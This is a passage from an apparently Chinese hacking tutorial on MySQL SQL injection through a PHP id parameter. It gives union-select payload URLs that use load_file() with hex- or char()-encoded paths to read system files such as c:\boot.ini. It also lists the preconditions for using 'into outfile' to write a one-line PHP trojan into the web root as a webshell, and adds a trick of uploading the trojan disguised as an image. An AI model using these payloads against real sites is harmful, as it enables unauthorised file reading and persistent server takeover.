返回的是网页.而无法查看到代码.
※load_file()函数的应用。
使用时先将要读取的路径转换为16进制或10进制再替换到前面返回的字段
例如替换的到字段4 :
123/123.php?id=123 union select 1,2,3,load_file(c:\boot.ini),5,6,7,8,9,10,7/*load_file(c:\boot.ini) 这里的写法是错误的,因为没有将路径转换。
下面的写法才是正确的
转成16进制
123/123.php?id=123 union select 1,2,3,load_file(0x633A5C626F6F742E696E69),5,6,7,8,9,10,7/*
或10进制
123/123.php?id=123 union select 1,2,3,load_file(char(99,58,92,98,111,111,116,46,105,110,105)),5,6,7,8,9,10,7/*
说明:使用load_file()函数读取时,不能直接这样执行 load_file(c:\boot.ini) ,如果这样执行是无法回显,所以只能把路径转为16进制,直接提交数据库或把路径转为10进制,用char()函数还原回ASCII。
例如:
将c:\boot.ini,转换为16进制就是:"0x633A5C626F6F742E696E69",使用就是将 load_file(0x633A5C626F6F742E696E69)替换到前面返回的字段。就能读取出c:\boot.ini的内容(当然前提是系统在C盘下)
将c:\boot.ini转换为10进制是:"99 58 92 98 111 111 116 46 105 110 105"。需要使用char()来转换,转换前在记事
本里把这段10进制代码之间的空格用“ ,”替换(注意英文状态下的逗号), 即:load_file(char(99,58,92,98,111,111,116,46,105,110,105))。注意不要少了扩号。
※into outfile的高级应用
要使用into outfile将一句话代码写到web目录取得WEBSHELL
需要满足3大先天条件
1.知道物理路径(into outfile '物理路径') 这样才能写对目录
2.能够使用union (也就是说需要MYSQL3以上的版本)
3.对方没有对’进行过滤(因为outfile 后面的 '' 不可以用其他函数代替转换)
4就是MYSQL 用户拥有file_priv权限(不然就不能写文件 或者把文件内容读出)
5.windows系统下一般都有读写权限,LINUX/UNIX下一般都是rwxr-xr-x 也就是说组跟其他用户都没有权限写入操作。
但环境满足以上条件那么我们可以写一句话代码进去。
例如:
123/123.php?id=123 union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile 'd:\
web\90team.php'/*
还有一个办法是假如网站可以上传图片,可以将木马改成图片的格式上传,找出图片的绝对路径在通过into outfile导出为PHP文件。
代码: